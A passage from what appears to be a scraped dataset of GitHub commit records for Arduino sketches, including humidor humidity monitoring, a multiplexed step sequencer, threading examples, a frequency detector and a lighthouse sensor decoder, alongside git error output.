EINSCHLIESSLICH DER GARANTIE ZUR BENUTZUNG F\u00dcR DEN VORGESEHENEN ODER EINEM BESTIMMTEN ZWECK SOWIE JEGLICHER RECHTSVERLETZUNG,\n JEDOCH NICHT DARAUF BESCHR\u00c4NKT. IN KEINEM FALL SIND DIE AUTOREN ODER COPYRIGHTINHABER F\u00dcR JEGLICHEN SCHADEN ODER\n SONSTIGE ANSPR\u00dcCHE HAFTBAR ZU MACHEN, OB INFOLGE DER ERF\u00dcLLUNG EINES VERTRAGES,\n EINES DELIKTES ODER ANDERS IM ZUSAMMENHANG MIT DER SOFTWARE ODER SONSTIGER VERWENDUNG DER SOFTWARE ENTSTANDEN.\n\n Im Bereich von 65-75% relativer Luftfeuchtigkeit k\u00f6nnen Zigarren bedenkenlos langfristig gelagert werden.\n Vorsicht ist allerdings geboten, wenn die relative Luftfeuchtigkeit 80% \u00fcbersteigt.\n In diesen F\u00e4llen kann die Zigarre anfangen zu faulen, es k\u00f6nnen sich Schimmelpilze und andere Pilzarten bilden.\n\n*\/\n\/\/ ID fuer den Sender\nbyte ID = 10;\n\/\/VirtualWire lib\n#include <VirtualWire.h>\nint txPin = 3; \/\/ueber Pin 3 die Daten senden\n\/\/digital Output\nint out1 = 12;\n\n\/\/DHT lib\nint dhtPin = 4;\n#include \"DHT.h\"\nDHT dht;\n\n\/\/Pausen zwischen den Messungen in Millisekunden\nunsigned long stime = 1800000; \/\/ Zeit zwischen den Sendezeiten\nunsigned long mtime = 900000; \/\/ Zeit zwischen den Messungen\n\nboolean fanOn; \/\/ Boolean Feld fuer den Status vom Luefter.\n\nvoid setup() {\n \/\/Serial.begin(115200);\n \/\/ VirtualWire Initialise the IO and ISR\n \n vw_set_ptt_inverted(false); \/\/ Required for RF Link module\n vw_set_tx_pin(txPin);\n vw_setup(1200); \/\/Bits pro Sekunde\n \n pinMode(out1, OUTPUT);\n digitalWrite(out1, LOW);\n fanOn = false;\n \n dht.setup(dhtPin);\n \/\/Serial.println(F(\"setup end\"));\n\n}\n\nunsigned long task1, task2 = 0;\nvoid loop() {\n unsigned long currmillis = millis();\n\n \/\/falls der Luefter laeuft pruefe alle 5 Sekunden die Werte\n if (fanOn) {\n if ((unsigned long)(currmillis - task2) >= 15000) {\n byte i;\n \/\/Serial.println(F(\"check if hum\"));\n if ((float)(get_hum() <= 65.0 || get_hum() <= 70.0)) {\n if (!fanOn) {\n \/\/oeffne die Belueftung und starte den Luefter\n \/\/Serial.println(F(\"fan ON\"));\n digitalWrite(out1, HIGH);\n fanOn = true;\n }\n } else {\n if (fanOn) {\n \/\/ switch fan1 off und schliesse den Schlitz\n \/\/Serial.println(F(\"fan off\"));\n digitalWrite(out1, LOW);\n fanOn = false;\n }\n }\n task2 = millis();\n }\n }\n\n \/\/ Wenn die Zeit (worktime) kleiner als die Vergangene Zeit ist, Sende die Messdaten.\n if ((unsigned long)(currmillis - task1) >= stime || (currmillis == 1000)) {\n \/\/Serial.println(F(\"check DHT22\"));\n TransmitData(get_temp(), get_hum());\n task1 = millis();\n }\n\n \/\/ checke die Luftfeuchtigkeit und wenn zu niedrig schalte Luefter ein.\n if ((unsigned long)(currmillis - task2) >= mtime) {\n byte i;\n \/\/Serial.println(F(\"check if hum\"));\n if ((float)(get_hum() <= 65.0 || get_hum() <= 70.0)) {\n if (!fanOn) {\n \/\/oeffne die Belueftung und starte den Luefter\n \/\/Serial.println(F(\"Switch fan on\"));\n digitalWrite(out1, HIGH);\n fanOn = true;\n }\n } else {\n if (fanOn) {\n \/\/ switch fan1 off und schliesse den Schlitz\n \/\/Serial.println(F(\"Switch fan off\"));\n digitalWrite(out1, LOW);\n fanOn = false;\n }\n }\n task2 = millis();\n }\n}\n\nfloat get_temp() {\n \/\/ Read temperature as Celsius (the default)\n return dht.getTemperature();\n}\n\nfloat get_hum() {\n \/\/ Read humidity\n return dht.getHumidity();\n}\n\nvoid TransmitData(float temp, float hum) {\n \/*\n * Erstelle eine Datenstruktur und\n * sende es danach mit einer simplen \n * Pruefsumme an den Empfaenger\n * \n *\/\n\n struct wData_STRUCT {\n byte identity;\n float s1;\n float s2;\n int checksum;\n };\n\n \/\/Defines structure wData as a variable (retaining structure);\n wData_STRUCT wData;\n\n \/\/Fill in the data.\n wData.identity = ID;\n wData.s1 = (temp * 100);\n wData.s2 = (hum * 100);\n wData.checksum = ((temp * 100) + (hum * 100)); \/\/erstelle eine Pruefsumme mit den 2 Werten\n\n vw_send((uint8_t *)&wData, sizeof(wData));\n vw_wait_tx();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino_Humidor_Monitoring\/Arduino_Humidor_Monitoring.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ceb21f1833b35deb21c45db3869c05b18507160b","subject":"Clean up","message":"Clean up\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0fb3e22c20e324571d4b469e6e07bc28f0597672","subject":"Introduced multiplexer to only use 3 digital pins","message":"Introduced multiplexer to only use 3 digital pins\n","repos":"7Ds7\/sequencer","old_file":"Arduino\/sequencer_mux\/sequencer_mux.ino","new_file":"Arduino\/sequencer_mux\/sequencer_mux.ino","new_contents":"#define ARRAYSIZE(x) (sizeof(x)\/sizeof(*x))\n\n\/\/const int ledStep1 = 2;\n\/\/const int ledStep2 = 3;\n\/\/const int ledStep3 = 4;\n\/\/const int ledStep4 = 5;\n\/\/\n\/\/const int ledStep5 = 6;\n\/\/const int ledStep6 = 7;\n\/\/const int ledStep7 = 8;\n\/\/const int ledStep8 = 9;\n\n\nconst int addressA = 2;\nconst int addressB = 3;\nconst int addressC = 4;\n\nconst int gate = 13;\n\nconst int button1 = 11;\nconst int button2 = 12;\nconst int pot1 = A0;\n\n\/\/int stepArray[] = {ledStep1, ledStep2, ledStep3, ledStep4, ledStep5, ledStep6, ledStep7, ledStep8};\nint stepArray[][3] = {\n {0, 0, 0}, \n {1, 0, 0}, \n {0, 1, 0}, \n {1, 1, 0},\n {0, 0, 1},\n {1, 0, 1},\n {0, 1, 1},\n {1, 1, 1}\n};\nint randArray[8][3];\n\/\/int stepArray[5] = {ledStep1, ledStep2, ledStep3, ledStep4};\n\n\nint beat = 90;\nint curvalue = -1;\n\nint stepCounter = 0;\n\nint mode = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(addressA, OUTPUT);\n pinMode(addressB, OUTPUT);\n pinMode(addressC, OUTPUT);\n pinMode(gate, OUTPUT);\n pinMode(button1, INPUT);\n pinMode(button2, INPUT);\n pinMode(pot1, INPUT);\n\n Serial.begin(9600);\n}\n\nvoid turnAllOff() {\n for ( int i= 0; i <= 7; i++ ) {\n digitalWrite(stepArray[i], LOW);\n }\n digitalWrite(gate, LOW);\n}\n\nvoid regularPlay() {\n Serial.println(\"regularPlay\");\n digitalWrite(addressA, stepArray[stepCounter][0]);\n digitalWrite(addressB, stepArray[stepCounter][1]);\n digitalWrite(addressC, stepArray[stepCounter][2]);\n digitalWrite(gate, HIGH);\n\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\nvoid reversePlay() {\n Serial.println(\"reversePlay\");\n \n digitalWrite(addressA, stepArray[stepCounter][0]);\n digitalWrite(addressB, stepArray[stepCounter][1]);\n digitalWrite(addressC, stepArray[stepCounter][2]);\n digitalWrite(gate, HIGH);\n\n stepCounter--;\n if ( stepCounter <= -1 ) {\n stepCounter = 7;\n } \n}\n\nvoid doublePlay() {\n Serial.println(\"doublePlay\");\n turnAllOff();\n\n digitalWrite(addressA, stepArray[stepCounter][0]);\n digitalWrite(addressB, stepArray[stepCounter][1]);\n digitalWrite(addressC, stepArray[stepCounter][2]);\n\n digitalWrite(addressA, stepArray[stepCounter+4][0]);\n digitalWrite(addressB, stepArray[stepCounter+4][1]);\n digitalWrite(addressC, stepArray[stepCounter+4][2]);\n \n\/\/ digitalWrite(stepArray[stepCounter], HIGH); \n\/\/ digitalWrite(stepArray[stepCounter+4], HIGH);\n digitalWrite(gate, HIGH);\n\n stepCounter++;\n if ( stepCounter >= 4 ) {\n stepCounter = 0;\n } \n}\n\nvoid randomPlay() {\n Serial.println(\"randomPlay\");\n\/\/ turnAllOff();\n if ( stepCounter == 0 ) {\n for( int i = 0 ; i < 8 ; ++i ){\n randArray[ i ][3] = stepArray[ i ];\n } \n }\n for( int i = 0 ; i < 8 ; ++i ){\n Serial.println(randArray[i][0]);\n }\n\/\/ Serial.println(\"--------\");\n\/\/ Serial.println(ARRAYSIZE(randArray) );\n int arr_access[3] = { randArray[random(0, 8)] };\n\/\/ digitalWrite( arr_access, HIGH);\n digitalWrite(addressA, arr_access[0]);\n digitalWrite(addressB, arr_access[1]);\n digitalWrite(addressC, arr_access[2]);\n \n digitalWrite(gate, HIGH);\n \/\/remove_element(arr_access\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\n\nint modeSelect() {\n boolean b1 = digitalRead(button1);\n boolean b2 = digitalRead(button2);\n int md = 0;\n Serial.println(\"-buttons-\");\n Serial.println(b1);\n Serial.println(b2);\n if ( b1 == 0 && b2 == 0 ) {\n \/\/Serial.println(\"regularPlay\");\n md = 0;\n } else if ( b1 == 1 && b2 == 0 ) {\n \/\/Serial.println(\"reversePlay\");\n md = 1;\n } else if ( b1 == 0 && b2 == 1 ) {\n \/\/Serial.println(\"doublePlay\");\n md = 2;\n } else if ( b1 == 1 && b2 == 1 ) {\n md = 3;\n }\n \n return md;\n \n}\n\nvoid loop() {\n beat = 30 + 220*(analogRead(pot1)\/256);\n mode = modeSelect();\n\/\/ mode = 0;\n \/\/Serial.println(stepCounter);\n \/\/Serial.println(mode);\n Serial.println(\"beat\");\n Serial.println(analogRead(pot1));\n\/\/ Serial.print(\"\\n\");\n Serial.println(beat);\n if ( mode == 0) {\n \/\/Serial.println(\"Regular play\");\n regularPlay();\n } else if ( mode == 1 ) {\n \/\/Serial.println(\"Alternate play\");\n reversePlay();\n } else if ( mode == 2 ) {\n doublePlay();\n } else if ( mode == 3 ) {\n randomPlay(); \n }\n\/\/ Serial.println(digitalRead(button1));\n\/\/ Serial.println(digitalRead(button2));\n\/\/ Serial.println(mode);\n \/\/Serial.println(stepArray[stepCounter]);\n delay(beat);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sequencer_mux\/sequencer_mux.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"41f783fabbeccb65b3f24de8f817f80928f5262c","subject":"debugging streamlined","message":"debugging streamlined\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"11ef253c7f151cb4002be33494965428be29a022","subject":"ok, this is global","message":"ok, this is global\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"855d3a8ea684e64031db09540e4332ceb1a42de2","subject":"add adjustment in case of losing wall. use flag...","message":"add adjustment in case of losing wall. use flag...\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8dc60b5a2ed35a412ec93476db8beec81c62ced7","subject":"re-organize code","message":"re-organize code\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"989eaf435af324922e83adf6354bd3e31641aa52","subject":"Allign morse_dict[].","message":"Allign morse_dict[].\n","repos":"kdomen\/Morse-Code","old_file":"Morse-Code\/morse-code.ino","new_file":"Morse-Code\/morse-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"29bc4c3d87894bc7be975c39b64cf630d16c2cc8","subject":"Added Arduino sound detect","message":"Added Arduino sound detect\n","repos":"PHSCRC\/boxbot","old_file":"data\/arduino_sound_detect\/arduino_sound_detect.ino","new_file":"data\/arduino_sound_detect\/arduino_sound_detect.ino","new_contents":"\/\/sine wave freq detection with 38.5kHz sampling rate and interrupts\n\/\/by Amanda Ghassaei\n\/\/http:\/\/www.instructables.com\/id\/Arduino-Frequency-Detection\/\n\/\/July 2012\n\n\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n*\/\n\n\/\/clipping indicator variables\nboolean clipping = 0;\n\n\/\/data storage variables\nbyte newData = 0;\nbyte prevData = 0;\n\n\/\/freq variables\nunsigned int timer = 0;\/\/counts period of wave\nunsigned int period;\nint frequency;\n\nbyte correct = 0;\nbyte wrong = 0;\n\nvoid setup(){\n \n \/\/Serial.begin(9600);\n \n pinMode(13,OUTPUT);\/\/clipping indicator pin\n pinMode(2,OUTPUT);\/\/led indicator pin\n \n cli();\/\/diable interrupts\n \n \/\/set up continuous sampling of analog pin 0\n \n \/\/clear ADCSRA and ADCSRB registers\n ADCSRA = 0;\n ADCSRB = 0;\n \n ADMUX |= (1 << REFS0); \/\/set reference voltage\n ADMUX |= (1 << ADLAR); \/\/left align the ADC value- so we can read highest 8 bits from ADCH register only\n \n ADCSRA |= (1 << ADPS2) | (1 << ADPS0); \/\/set ADC clock with 32 prescaler- 16mHz\/32=500kHz\n ADCSRA |= (1 << ADATE); \/\/enabble auto trigger\n ADCSRA |= (1 << ADIE); \/\/enable interrupts when measurement complete\n ADCSRA |= (1 << ADEN); \/\/enable ADC\n ADCSRA |= (1 << ADSC); \/\/start ADC measurements\n \n sei();\/\/enable interrupts\n}\n\nISR(ADC_vect) {\/\/when new ADC value ready\n prevData = newData;\/\/store previous value\n newData = ADCH;\/\/get value from A0\n if (prevData < 129 && newData >=129){\/\/if increasing and crossing midpoint\n period = timer;\/\/get period\n timer = 0;\/\/reset timer\n }\n \n \n if (newData == 0 || newData == 1023){\/\/if clipping\n PORTB |= B00100000;\/\/set pin 13 high- turn on clipping indicator led\n clipping = 1;\/\/currently clipping\n }\n \n timer++;\/\/increment timer at rate of 38.5kHz\n}\n\nvoid loop(){\n if (clipping){\/\/if currently clipping\n PORTB &= B11011111;\/\/turn off clippng indicator led\n clipping = 0;\n }\n\n frequency = 38462\/period;\/\/timer rate\/period\n \/\/print results\n \/*Serial.print(frequency);\n Serial.println(\" hz\");*\/\n\n if (3300 < frequency && 4300 > frequency) {\n correct++;\n } else {\n wrong++;\n }\n if (wrong + correct > 10) {\n \/\/Serial.print(wrong);\n \/\/Serial.print(\" \");\n \/\/Serial.println(correct);\n if (correct > (wrong * 3)) {\n digitalWrite(2, 1); \n } else {\n digitalWrite(2, 0);\n }\n correct = 0;\n wrong = 0;\n }\n \n delay(100);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'data\/arduino_sound_detect\/arduino_sound_detect.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"544680f2002470355e1df9fd80ebc7e5fe3322f6","subject":"added iteration for display and shield LEDs","message":"added iteration for display and shield LEDs\n","repos":"TaylorHokanson\/CAAint","old_file":"TTGO\/Code\/Basic Functions\/Blink\/ESP32_ttgo_blink\/ESP32_ttgo_blink.ino","new_file":"TTGO\/Code\/Basic Functions\/Blink\/ESP32_ttgo_blink\/ESP32_ttgo_blink.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'TTGO\/Code\/Basic' did not match any file(s) known to git\nerror: pathspec 'Functions\/Blink\/ESP32_ttgo_blink\/ESP32_ttgo_blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0fb72254a5fa24a3f5f96176bc5911cf3934dc78","subject":"Added ControllerWithTimer example","message":"Added ControllerWithTimer example\n","repos":"eamante\/ArduinoThread,ivankravets\/ArduinoThread,venusdharan\/ArduinoThread,lethic\/ArduinoThread,rodriguesfas\/ArduinoThread,ivanseidel\/ArduinoThread,github4manu\/ArduinoThread","old_file":"examples\/ControllerWithTimer\/ControllerWithTimer.ino","new_file":"examples\/ControllerWithTimer\/ControllerWithTimer.ino","new_contents":"#include <Thread.h>\n#include <ThreadController.h>\n\n\/*\n\tThis example, requires a Timer Interrupt Library.\n\tIf you are using Arduino NANO, UNO... (with ATmega168\/328)\n\t\tPlease go to: http:\/\/playground.arduino.cc\/code\/timer1\n\tIf you are using Arduino DUE,\n\t\tPlease go to: https:\/\/github.com\/ivanseidel\/DueTimer\n\n\tInclude the library corresponding to your Arduino.\n*\/\n\/\/ #include <DueTimer.h>\n\/\/ #include <TimerOne.h>\n\n\/\/ ThreadController that will controll all threads\nThreadController controll = ThreadController();\n\n\/\/My Thread (as a pointer)\nThread* myThread = new Thread();\n\/\/His Thread (not pointer)\nThread hisThread = Thread();\n\n\/\/ callback for myThread\nvoid niceCallback(){\n\tSerial.print(\"COOL! I'm running on: \");\n\tSerial.println(millis());\n}\n\n\/\/ callback for hisThread\nvoid boringCallback(){\n\tSerial.println(\"BORING...\");\n}\n\t\n\/\/ This is the callback for the Timer\nvoid timerCallback(){\n\tcontroll.run();\n}\n\nvoid setup(){\n\tSerial.begin(9600);\n\n\t\/\/ Configure myThread\n\tmyThread->onRun(niceCallback);\n\tmyThread->setInterval(500);\n\n\t\/\/ Configure myThread\n\thisThread.onRun(boringCallback);\n\thisThread.setInterval(250);\n\n\t\/\/ Adds both threads to the controller\n\tcontroll.add(myThread);\n\tcontroll.add(&hisThread); \/\/ & to pass the pointer to it\n\n\t\/*\n\t\tIf using DueTimer...\n\t*\/\n\t\/\/ Timer1.attachInterrupt(timerCallback).start(10000);\n\n\t\/*\n\t\tIf using TimerOne...\n\t*\/\n\t\/\/ Timer1.initialize(20000);\n\t\/\/ Timer1.attachInterrupt(timerCallback);\n\t\/\/ Timer1.start();\n}\n\nvoid loop(){\n\twhile(1){\n\t\tfloat h = 3.1415;\n\t\th\/=2;\n\t\tSerial.println(\"Help me! I'm stuck here...\");\n\t\tdelay(1000);\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ControllerWithTimer\/ControllerWithTimer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7246ce761d5efecbe0e6ce720e8ef97fe4413ddd","subject":"first commit","message":"first commit\n","repos":"duff2013\/Zilch,duff2013\/Zilch","old_file":"examples\/Simple_Task\/Simple_Task.ino","new_file":"examples\/Simple_Task\/Simple_Task.ino","new_contents":"#include <zilch.h>\n\nZilch task(1000);\/\/ main task\n\/*******************************************************************\/\nvoid setup() {\n delay(2000);\n pinMode(LED_BUILTIN ,OUTPUT);\n task.create(task1, 1000, 0);\n task.create(task2, 1000, 0);\n task.create(task3, 1000, 0);\n task.create(task4, 1000, 0);\n task.create(task5, 1000, 0);\n}\n\n\/\/ main thread \nvoid loop() {\n Serial.println(\"loop\");\n delay(1000);\n}\n\/*******************************************************************\/\n\n\/\/ First task (coroutine)\nstatic void task1(void *arg) {\n while ( 1 ) {\n Serial.println(\"task1\");\n delay(1000);\n }\n}\n\/*******************************************************************\/\n\/\/ 2nd task (coroutine)\nstatic void task2(void *arg) {\n while ( 1 ) {\n Serial.println(\"task2\");\n delay(1000);\n }\n}\n\/*******************************************************************\/\n\/\/ 3rd task (coroutine)\nstatic void task3(void *arg) {\n while ( 1 ) {\n Serial.println(\"task3\");\n delay(1000);\n }\n}\n\/*******************************************************************\/\n\/\/ 4th task (coroutine)\nstatic void task4(void *arg) {\n while ( 1 ) {\n Serial.println(\"task4\");\n delay(1000);\n }\n}\n\/*******************************************************************\/\n\/\/ 5th task (coroutine)\nstatic void task5(void *arg) {\n while ( 1 ) {\n Serial.println(\"task5\");\n delay(1000);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Simple_Task\/Simple_Task.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9a6b0ee92a32de8a81624c9bfe8e08eb0fdba5f0","subject":"First commit","message":"First commit\n\nINO created\n","repos":"minhcly\/imu3darduino,minhcly\/imu3darduino","old_file":"IMU3D\/IMU3D.ino","new_file":"IMU3D\/IMU3D.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/minhcly\/imu3darduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a8efc1253de86a80433d2946a9f62d9ca4463356","subject":"Update teensytransfertool.ino","message":"Update teensytransfertool.ino","repos":"FrankBoesing\/TeensyTransfer,FrankBoesing\/TeensyTransfer,FrankBoesing\/TeensyTransfer","old_file":"examples\/teensytransfertool\/teensytransfertool.ino","new_file":"examples\/teensytransfertool\/teensytransfertool.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FrankBoesing\/TeensyTransfer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5084e4f45ef49995d469587dbc60223fe509198d","subject":"threading: add a simple threading example","message":"threading: add a simple threading example\n\nThis builds on the NeoPixel demo.\n\nSigned-off-by: Sean Cross <d7e19930cc1f42c2d0781f4d9e6f1fe5891bf9cf@xobs.io>\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"html\/examples\/chibitronics\/threading\/threading.ino","new_file":"html\/examples\/chibitronics\/threading\/threading.ino","new_contents":"#include \"Adafruit_NeoPixel.h\"\n#include \"ChibiOS.h\"\n\nstatic THD_WORKING_AREA(blinky_area, 128);\nstatic THD_FUNCTION(do_blinky, arg) {\n (void)arg;\n\n while (1) {\n digitalWrite(LED_BUILTIN, 1);\n delay(500);\n digitalWrite(LED_BUILTIN, 0);\n delay(1000);\n }\n}\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, LED_BUILTIN_RGB,\n NEO_GRB + NEO_KHZ800);\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n\n if(WheelPos < 85)\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\nvoid setup(void) {\n pinMode(LED_BUILTIN, OUTPUT);\n\n createThread(blinky_area, sizeof(blinky_area), 20, do_blinky, NULL);\n strip.setBrightness(5);\n}\n\nvoid loop(void) {\n static int loopnum = 0;\n int i;\n\n for(i=0; i<strip.numPixels(); i++)\n strip.setPixelColor(i, Wheel((i+loopnum) & 255));\n\n strip.show();\n loopnum++;\n delayMicroseconds(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'html\/examples\/chibitronics\/threading\/threading.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"65e3b9945b4e67214cca8aeecd96f4b3e886aeb2","subject":"Initial commit","message":"Initial commit\n","repos":"Bren730\/discus-positioning-lighthouse,Bren730\/discus-positioning-lighthouse","old_file":"arduino\/discus-positioning-lighthouse\/discus-positioning-lighthouse.ino","new_file":"arduino\/discus-positioning-lighthouse\/discus-positioning-lighthouse.ino","new_contents":"byte sensor1Pin = 5;\n\nvolatile unsigned long sensor1Start;\nvolatile unsigned long sensor1Length;\n\nvolatile unsigned long pulseStart;\n\n\/\/ Pulse length definitions\n#define BASE1_ROTOR0_DATA0 63\n#define BASE1_ROTOR0_DATA1 83\n#define BASE1_ROTOR1_DATA0 73\n#define BASE1_ROTOR1_DATA1 94\n#define BASE2_ROTOR0_DATA0 104\n#define BASE2_ROTOR0_DATA1 125\n#define BASE2_ROTOR1_DATA0 115\n#define BASE2_ROTOR1_DATA1 135\n\nbool sawSyncPulse;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(sensor1Pin, INPUT);\n attachInterrupt(sensor1Pin, interruptHandler, CHANGE);\n\n Serial.begin(115200);\n\n delay(5000);\n\n Serial.println(\"starting input capture\");\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n\nvoid interruptHandler() {\n\n \/\/ This is the rising edge of the pulse\n \/\/ If it is a sync pulse, the \n if(digitalReadFast(sensor1Pin) == HIGH) {\n\n sensor1Start = micros();\n \n } else {\n\n sensor1Length = micros() - sensor1Start;\n\n if(sensor1Length > BASE1_ROTOR0_DATA0 - 5 && sensor1Length < BASE1_ROTOR0_DATA1) {\n\n \/\/ This is a pulse\n\n pulseStart = sensor1Start;\n\n sawSyncPulse = true;\n \n\/\/ Serial.println(\"Base 1, rotor 0, data 0\");\n \n } else if (sensor1Length < BASE1_ROTOR0_DATA0 && sawSyncPulse) {\n\n \/\/ This is a sweep\n \/\/ A pulse-sweep length is at max 8333 \u00b5s\n \/\/ Thus, the angle is the delta t between this pulse and the sync pulse\n \/\/ divided by 8333 * 180 degrees\n \/\/ TODO: Check if * 180 is correct\n\n unsigned long diff = micros() - pulseStart;\n double angle = (double)diff \/ 180.0;\n Serial.println(\"Angle: \" + String(angle));\n\n sawSyncPulse = false;\n \n }\n \n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/discus-positioning-lighthouse\/discus-positioning-lighthouse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"781add0164d3f3dce3bc3990c9f6125441e11c2b","subject":"initial commit","message":"initial commit\n","repos":"skydome\/nest-rest,skydome\/nest-rest,skydome\/nest-rest","old_file":"NestRH22Nanode.ino","new_file":"NestRH22Nanode.ino","new_contents":"#include <NanodeUNIO.h>\n#include <NanodeUIP.h>\n#include <NanodeMQTT.h>\n#include <RF22ReliableDatagram.h>\n#include <RF22.h>\n#include <SPI.h>\n\nNanodeMQTT mqtt(&uip);\n\n\/\/#define CLIENT_ADDRESS 1\n#define SERVER_ADDRESS 0\n\n\/\/ Class to manage message delivery and receipt, using the driver declared above\nRF22ReliableDatagram manager(SERVER_ADDRESS);\nconst byte macaddr[] = { 0x74, 0x69, 0x69, 0x2D, 0x30, 0x31 };\n\nstatic void resolv_found(char *name, uip_ipaddr_t *addr) {\n char buf[30] = \": addr=\";\n Serial.println(name);\n uip.format_ipaddr(buf + 7, addr);\n Serial.println(buf);\n}\n\nvoid dhcp_status(int s, const uip_ipaddr_t *dnsaddr) {\n char buf[20] = \"IP:\";\n if (s == DHCP_STATUS_OK) {\n resolv_conf(dnsaddr);\n uip.get_ip_addr_str(buf + 3);\n Serial.println(buf);\n uip.query_name(\"api.skydome.io\");\n }\n}\n\nvoid setup() {\n char buf[20] PROGMEM;\n\n \/\/ NanodeUNIO unio(NANODE_MAC_DEVICE);\n\n Serial.begin(9600);\n \/\/\/ RF initialization must be before network initialization, otherwise RF will not initialize!\n if (manager.init())\n Serial.println(F(\"init success\"));\n else\n Serial.println(F(\"init failed\"));\n \/\/Serial.println(\"UIP test\");\n\n \/\/unio.read(macaddr, NANODE_MAC_ADDRESS, 6);\n uip.init(macaddr);\n uip.get_mac_str(buf);\n Serial.println(buf);\n uip.wait_for_link();\n Serial.println(F(\"Link is 